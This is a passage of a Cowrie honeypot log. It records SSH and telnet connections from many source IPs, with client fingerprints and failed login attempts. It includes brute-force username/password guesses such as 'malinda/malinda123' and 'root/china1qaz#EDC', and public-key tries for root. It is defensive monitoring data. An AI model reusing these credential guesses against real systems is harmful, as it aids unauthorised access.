256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:55.886286Z","src_ip":"213.209.159.56","session":"a03df041a0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda","message":"login attempt [malinda/malinda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:56.286883Z","src_ip":"213.209.159.56","session":"a03df041a0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda1","message":"login attempt [malinda/malinda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:57.372686Z","src_ip":"213.209.159.56","session":"a03df041a0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda123","message":"login attempt [malinda/malinda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:58.464844Z","src_ip":"213.209.159.56","session":"a03df041a0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda1234","message":"login attempt [malinda/malinda1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:59.549588Z","src_ip":"213.209.159.56","session":"a03df041a0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda12345","message":"login attempt [malinda/malinda12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:00.634053Z","src_ip":"213.209.159.56","session":"a03df041a0f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:01.723303Z","src_ip":"213.209.159.56","session":"a03df041a0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":47014,"dst_ip":"10.17.0.5","dst_port":22,"session":"93a25c412974","protocol":"ssh","message":"New connection: 103.15.226.202:47014 (10.17.0.5:22) [session: 93a25c412974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:10.354471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:10.361571Z","src_ip":"103.15.226.202","session":"93a25c412974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:10.604594Z","src_ip":"103.15.226.202","session":"93a25c412974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"china1qaz#EDC","message":"login attempt [root/china1qaz#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:11.332956Z","src_ip":"103.15.226.202","session":"93a25c412974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:12.578498Z","src_ip":"103.15.226.202","session":"93a25c412974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.9165472984314,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:20.365306Z","src_ip":"85.11.167.7","session":"4cfc7b929893","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.116.137.136","src_port":22758,"dst_ip":"159.203.135.109","dst_port":23,"session":"61dc1f87c620","protocol":"telnet","message":"New connection: 103.116.137.136:22758 (159.203.135.109:23) [session: 61dc1f87c620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:25.606192Z"}
{"eventid":"cowrie.session.closed","duration":13.515771627426147,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:15:39.121839Z","src_ip":"103.116.137.136","session":"61dc1f87c620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":38618,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f63658c6790","protocol":"ssh","message":"New connection: 190.181.25.210:38618 (10.17.0.5:22) [session: 5f63658c6790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:05.907506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:06.542225Z","src_ip":"190.181.25.210","session":"5f63658c6790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:06.546978Z","src_ip":"190.181.25.210","session":"5f63658c6790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuser","password":"testing","message":"login attempt [tuser/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:07.016547Z","src_ip":"190.181.25.210","session":"5f63658c6790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:08.138029Z","src_ip":"190.181.25.210","session":"5f63658c6790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37670,"dst_ip":"159.203.135.109","dst_port":22,"session":"2465b0806dc8","protocol":"ssh","message":"New connection: 2.57.122.208:37670 (159.203.135.109:22) [session: 2465b0806dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:08.244595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:08.426269Z","src_ip":"2.57.122.208","session":"2465b0806dc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:08.430232Z","src_ip":"2.57.122.208","session":"2465b0806dc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:09.755983Z","src_ip":"2.57.122.208","session":"2465b0806dc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:11.079818Z","src_ip":"2.57.122.208","session":"2465b0806dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":44198,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fadc8b74136","protocol":"telnet","message":"New connection: 129.232.238.42:44198 (159.203.135.109:23) [session: 4fadc8b74136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:11.537689Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.82.246","src_port":53124,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a7d5c17cefe","protocol":"ssh","message":"New connection: 173.236.82.246:53124 (10.17.0.5:22) [session: 1a7d5c17cefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.609418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.615059Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.644307Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:7d:27:ea:fe:1c:4a:8e:58:4e:fc:f5:3b:42:b1:8c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDbfibT05CM1XOjI4lZm3GcUr4wd77J+FfDVC00v3QdW","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8a:7d:27:ea:fe:1c:4a:8e:58:4e:fc:f5:3b:42:b1:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.759654Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:7d:27:ea:fe:1c:4a:8e:58:4e:fc:f5:3b:42:b1:8c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDbfibT05CM1XOjI4lZm3GcUr4wd77J+FfDVC00v3QdW","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.763258Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:74:93:21:c8:1c:14:b5:d1:d3:fa:0e:02:77:db:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOFGLKse1Qpfh+CuCKiSwim3mshvszxqs+zFmlVt6IpXHs2cWhjx/2gKC+kfb09llxlNj+nfUQqgiUpQz1I8PlGM6d1f3t9kAdufwO41WxZTW0/n0Mc7V/RSgoF+a3ADe+WCj3q/Kc3L4hgEn+TIgAE7C39g9/leGxjehonRm2J7PQqZsHTjRPUuZU7XVR3WzvYlmkvxjhBcvmDCHbwUJRWVwYgDVfoJ1EKqugrZXKuSGZudblFP+a/bXIhWzcArjbja75Qd9qbbts0l7Z6rGWC/87HkP9SbbZW6/A/vLFTHZfW9nO583iPneL9OxtFPjanXe4eoSAAlSw3lTVz6Xn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:74:93:21:c8:1c:14:b5:d1:d3:fa:0e:02:77:db:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.792570Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:74:93:21:c8:1c:14:b5:d1:d3:fa:0e:02:77:db:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOFGLKse1Qpfh+CuCKiSwim3mshvszxqs+zFmlVt6IpXHs2cWhjx/2gKC+kfb09llxlNj+nfUQqgiUpQz1I8PlGM6d1f3t9kAdufwO41WxZTW0/n0Mc7V/RSgoF+a3ADe+WCj3q/Kc3L4hgEn+TIgAE7C39g9/leGxjehonRm2J7PQqZsHTjRPUuZU7XVR3WzvYlmkvxjhBcvmDCHbwUJRWVwYgDVfoJ1EKqugrZXKuSGZudblFP+a/bXIhWzcArjbja75Qd9qbbts0l7Z6rGWC/87HkP9SbbZW6/A/vLFTHZfW9nO583iPneL9OxtFPjanXe4eoSAAlSw3lTVz6Xn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.796899Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:90:f2:bb:6a:f2:e7:8b:0c:c1:73:5e:05:93:af:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIMTkBWYJZAuLmvIlTO7ZNYsc363l0B/84aHuUvZ9KbDOkqjKtKNnP6z6B5w50YWOJfs/m2Le5DSQVVx1Vy9LB8MEPtxCCW+J8CMWHGV2tfcZUSkBVyGhXUukdj1alj/CrYt+iN9Hoj9buLSgElH62XGtvf1OrzThQoeBp7rkuMvZVk0zXv2/nRcwKv8rcN7zRb+4YroGxLPpt4F37LGIEFAamqoehs+aDqa4+Cx8UKDQ2tBjE3SI9K+R3hgZDJ/3vs84KPYh+nXvL7SfAkmd2PIDjYcNCQ5D9XyXl2jBkWcqWM7NvuMMjYimyZuzjFIRab3iwyyKzGdjf1KFkhhqH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:90:f2:bb:6a:f2:e7:8b:0c:c1:73:5e:05:93:af:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.824869Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:90:f2:bb:6a:f2:e7:8b:0c:c1:73:5e:05:93:af:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIMTkBWYJZAuLmvIlTO7ZNYsc363l0B/84aHuUvZ9KbDOkqjKtKNnP6z6B5w50YWOJfs/m2Le5DSQVVx1Vy9LB8MEPtxCCW+J8CMWHGV2tfcZUSkBVyGhXUukdj1alj/CrYt+iN9Hoj9buLSgElH62XGtvf1OrzThQoeBp7rkuMvZVk0zXv2/nRcwKv8rcN7zRb+4YroGxLPpt4F37LGIEFAamqoehs+aDqa4+Cx8UKDQ2tBjE3SI9K+R3hgZDJ/3vs84KPYh+nXvL7SfAkmd2PIDjYcNCQ5D9XyXl2jBkWcqWM7NvuMMjYimyZuzjFIRab3iwyyKzGdjf1KFkhhqH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.829446Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:98:10:65:da:e7:82:86:01:ff:3f:36:56:72:ff:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvypJ1x4w/N+VPb37jJhynHz4O7BLqrY7JXLgJ1Mjie94nHGXBJ8yjXyKOi/HWhuIt85FcptwuAdcZ3/nUY9UV9WG65pZgMd0I3CfSoKUkAZaNmu9JVv0UWhwG8gKPSkfMdXWi5D1ba/u3KH8P0hXN8eQwCWhxvDew23Bt9Fc2rdGropTJL9VQGPGjlcErK+J4TcRx3Sv3YTNxyih7DuJfN3h07LgK6r+Mw5tp1y6GE013uccgCM83NX4iLhg5xEzwC0xyNnZdL/MrPelAVOwt1No8ktWJtzBidC13O8nIZEhD7vLT0UNAd8396OGkxseaJmCNMooTgVAukynFQN1T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:98:10:65:da:e7:82:86:01:ff:3f:36:56:72:ff:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.857340Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:98:10:65:da:e7:82:86:01:ff:3f:36:56:72:ff:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvypJ1x4w/N+VPb37jJhynHz4O7BLqrY7JXLgJ1Mjie94nHGXBJ8yjXyKOi/HWhuIt85FcptwuAdcZ3/nUY9UV9WG65pZgMd0I3CfSoKUkAZaNmu9JVv0UWhwG8gKPSkfMdXWi5D1ba/u3KH8P0hXN8eQwCWhxvDew23Bt9Fc2rdGropTJL9VQGPGjlcErK+J4TcRx3Sv3YTNxyih7DuJfN3h07LgK6r+Mw5tp1y6GE013uccgCM83NX4iLhg5xEzwC0xyNnZdL/MrPelAVOwt1No8ktWJtzBidC13O8nIZEhD7vLT0UNAd8396OGkxseaJmCNMooTgVAukynFQN1T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.861755Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:15:86:a5:ff:25:c4:58:07:ff:dd:23:ee:45:7f:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0SeB1nquype0zX3hIa0SALuEPcxyY4ZUkIllZlusjMCtbAfLe6L2g/2df4uUQF6Rjo222kWcgBa1mtxD2+oxVipDJk5RH6LF7bAODsaFuaiLSw2qjwnzoDGZoqTTPTGcLCQXHxJIKjzE8jE6NjdmsWyR72Az2zlUeMOOSB2RORMPUPUgTF6Czd477apXDJ0W8FlsjHxlOgD/lVPN+wWZBy1Ev33Roh2/b/T/KZVRvpk4CFPU0Wfb7+Mxx+XkjjhSqqBYCFeFfJ441su73LLAwkXXKM2YDRbfsiJMXCG8zVS2LxP+hIqW3Ufgw2jIiB1kxwWUw19fmBI/dfdm35A9R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:15:86:a5:ff:25:c4:58:07:ff:dd:23:ee:45:7f:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.888969Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:15:86:a5:ff:25:c4:58:07:ff:dd:23:ee:45:7f:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0SeB1nquype0zX3hIa0SALuEPcxyY4ZUkIllZlusjMCtbAfLe6L2g/2df4uUQF6Rjo222kWcgBa1mtxD2+oxVipDJk5RH6LF7bAODsaFuaiLSw2qjwnzoDGZoqTTPTGcLCQXHxJIKjzE8jE6NjdmsWyR72Az2zlUeMOOSB2RORMPUPUgTF6Czd477apXDJ0W8FlsjHxlOgD/lVPN+wWZBy1Ev33Roh2/b/T/KZVRvpk4CFPU0Wfb7+Mxx+XkjjhSqqBYCFeFfJ441su73LLAwkXXKM2YDRbfsiJMXCG8zVS2LxP+hIqW3Ufgw2jIiB1kxwWUw19fmBI/dfdm35A9R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.893740Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:33.924997Z","src_ip":"173.236.82.246","session":"1a7d5c17cefe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.128.179","src_port":45366,"dst_ip":"10.17.0.5","dst_port":22,"session":"c14b64c75439","protocol":"ssh","message":"New connection: 176.65.128.179:45366 (10.17.0.5:22) [session: c14b64c75439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:41.543013Z"}
